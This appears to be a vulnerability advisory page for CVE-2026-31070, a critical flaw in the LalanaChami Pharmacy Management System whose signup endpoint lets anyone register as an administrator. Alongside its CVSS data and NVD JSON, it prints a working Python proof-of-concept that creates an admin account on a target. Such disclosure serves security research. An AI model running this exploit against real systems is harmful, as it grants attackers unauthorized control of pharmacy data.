Security Vulnerability Report
中文
CVE-2026-31070 CVSS 9.8 CRITICAL

CVE-2026-31070

Published: 2026-05-19 16:16:20
Last Modified: 2026-05-20 14:16:40

Description

The LalanaChami Pharmacy Management System (commit 5c3d028) allows unauthenticated remote attackers to escalate privileges by self-assigning an administrative role during registration. The /api/user/signup endpoint fails to validate the role parameter in the request body

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

LalanaChami Pharmacy Management System commit 5c3d028

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url): url = f"{target_url}/api/user/signup" headers = {"Content-Type": "application/json"} # Malicious payload setting role to admin data = { "username": "hacker_admin", "password": "StrongPass123!", "role": "admin" } try: response = requests.post(url, json=data, headers=headers) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Admin user created.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit("http://target-ip")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31070", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:20.363", "lastModified": "2026-05-20T14:16:40.350", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The LalanaChami Pharmacy Management System (commit 5c3d028) allows unauthenticated remote attackers to escalate privileges by self-assigning an administrative role during registration. The /api/user/signup endpoint fails to validate the role parameter in the request body"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://gist.github.com/nedlir/22bf6d1a3a07209be3e343744bc81d51", "source": "[email protected]"}, {"url": "https://github.com/LalanaChami/Pharmacy-Mangment-System/blob/5c3d02888631166649856f71d542387114b3010b/backend/routes/user.js#L16", "source": "[email protected]"}, {"url": "https://gist.github.com/nedlir/22bf6d1a3a07209be3e343744bc81d51", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}